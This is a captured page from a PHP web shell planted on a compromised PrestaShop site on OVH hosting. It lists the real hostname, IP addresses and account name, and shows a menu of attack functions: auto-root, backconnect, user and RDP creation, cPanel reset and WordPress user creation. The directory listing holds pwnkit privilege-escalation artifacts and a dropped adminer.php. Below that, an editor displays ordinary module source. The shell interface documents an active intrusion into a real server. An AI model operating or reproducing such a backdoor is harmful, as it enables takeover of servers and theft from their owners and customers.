Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.84
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
modules /
productcomments /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwx---r-x
controllers
[ DIR ]
drwx---r-x
img
[ DIR ]
drwx---r-x
js
[ DIR ]
drwx---r-x
src
[ DIR ]
drwx---r-x
translations
[ DIR ]
drwx---r-x
upgrade
[ DIR ]
drwx---r-x
views
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
CHANGELOG.txt
253
B
-rw----r--
ProductComment.php
17.35
KB
-rw----r--
ProductCommentCriterion.php
9.96
KB
-rw----r--
ProductCriterion.php
6.15
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
composer.lock
68.79
KB
-rw----r--
config.xml
517
B
-rw----r--
config_fr.xml
595
B
-rw-rw-r--
index.php
1.35
KB
-rw----r--
install.sql
3.08
KB
-rw----r--
logo.gif
557
B
-rw----r--
logo.png
3.83
KB
-rw----r--
productcomments.css
6.64
KB
-rw----r--
productcomments.php
46.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
yarn.lock
340
B
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ProductCriterion.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License 3.0 (AFL-3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/AFL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/AFL-3.0 Academic Free License 3.0 (AFL-3.0) */ class ProductCommentCriterion { /** * Add a Comment Criterion * * @return bool succeed */ public static function add($id_lang, $name) { if (!Validate::isUnsignedId($id_lang) || !Validate::isMessage($name)) { exit(Tools::displayError()); } return Db::getInstance()->execute(' INSERT INTO `' . _DB_PREFIX_ . 'product_comment_criterion` (`id_lang`, `name`) VALUES( ' . (int) ($id_lang) . ', \'' . pSQL($name) . '\')'); } /** * Link a Comment Criterion to a product * * @return bool succeed */ public static function addToProduct($id_product_comment_criterion, $id_product) { if (!Validate::isUnsignedId($id_product_comment_criterion) || !Validate::isUnsignedId($id_product)) { exit(Tools::displayError()); } return Db::getInstance()->execute(' INSERT INTO `' . _DB_PREFIX_ . 'product_comment_criterion_product` (`id_product_comment_criterion`, `id_product`) VALUES( ' . (int) ($id_product_comment_criterion) . ', ' . (int) ($id_product) . ')'); } /** * Add grade to a criterion * * @return bool succeed */ public static function addGrade($id_product_comment, $id_product_comment_criterion, $grade) { if (!Validate::isUnsignedId($id_product_comment) || !Validate::isUnsignedId($id_product_comment_criterion)) { exit(Tools::displayError()); } if ($grade < 0) { $grade = 0; } elseif ($grade > 10) { $grade = 10; } return Db::getInstance()->execute(' INSERT INTO `' . _DB_PREFIX_ . 'product_comment_grade` (`id_product_comment`, `id_product_comment_criterion`, `grade`) VALUES( ' . (int) ($id_product_comment) . ', ' . (int) ($id_product_comment_criterion) . ', ' . (int) ($grade) . ')'); } /** * Update criterion * * @return bool succeed */ public static function update($id_product_comment_criterion, $id_lang, $name) { if (!Validate::isUnsignedId($id_product_comment_criterion) || !Validate::isUnsignedId($id_lang) || !Validate::isMessage($name)) { exit(Tools::displayError()); } return Db::getInstance()->execute(' UPDATE `' . _DB_PREFIX_ . 'product_comment_criterion` SET `name` = \'' . pSQL($name) . '\' WHERE `id_product_comment_criterion` = ' . (int) ($id_product_comment_criterion) . ' AND `id_lang` = ' . (int) ($id_lang)); } /** * Get criterion by Product * * @return array Criterion */ public static function getByProduct($id_product, $id_lang) { if (!Validate::isUnsignedId($id_product) || !Validate::isUnsignedId($id_lang)) { exit(Tools::displayError()); } return Db::getInstance()->executeS(' SELECT pcc.`id_product_comment_criterion`, pcc.`name` FROM `' . _DB_PREFIX_ . 'product_comment_criterion` pcc INNER JOIN `' . _DB_PREFIX_ . 'product_comment_criterion_product` pccp ON pcc.`id_product_comment_criterion` = pccp.`id_product_comment_criterion` WHERE pccp.`id_product` = ' . (int) ($id_product) . ' AND pcc.`id_lang` = ' . (int) ($id_lang)); } /** * Get Criterions * * @return array Criterions */ public static function get($id_lang) { if (!Validate::isUnsignedId($id_lang)) { exit(Tools::displayError()); } return Db::getInstance()->executeS(' SELECT pcc.`id_product_comment_criterion`, pcc.`name` FROM `' . _DB_PREFIX_ . 'product_comment_criterion` pcc WHERE pcc.`id_lang` = ' . (int) ($id_lang) . ' ORDER BY pcc.`name` ASC'); } /** * Delete product criterion by product * * @return bool succeed */ public static function deleteByProduct($id_product) { if (!Validate::isUnsignedId($id_product)) { exit(Tools::displayError()); } return Db::getInstance()->execute(' DELETE FROM `' . _DB_PREFIX_ . 'product_comment_criterion_product` WHERE `id_product` = ' . (int) ($id_product)); } /** * Delete all reference of a criterion * * @return bool succeed */ public static function delete($id_product_comment_criterion) { if (!Validate::isUnsignedId($id_product_comment_criterion)) { exit(Tools::displayError()); } $result = Db::getInstance()->execute(' DELETE FROM `' . _DB_PREFIX_ . 'product_comment_grade` WHERE `id_product_comment_criterion` = ' . (int) ($id_product_comment_criterion)); if ($result === false) { return $result; } $result = Db::getInstance()->execute(' DELETE FROM `' . _DB_PREFIX_ . 'product_comment_criterion_product` WHERE `id_product_comment_criterion` = ' . (int) ($id_product_comment_criterion)); if ($result === false) { return $result; } return Db::getInstance()->execute(' DELETE FROM `' . _DB_PREFIX_ . 'product_comment_criterion` WHERE `id_product_comment_criterion` = ' . (int) ($id_product_comment_criterion)); } }
Close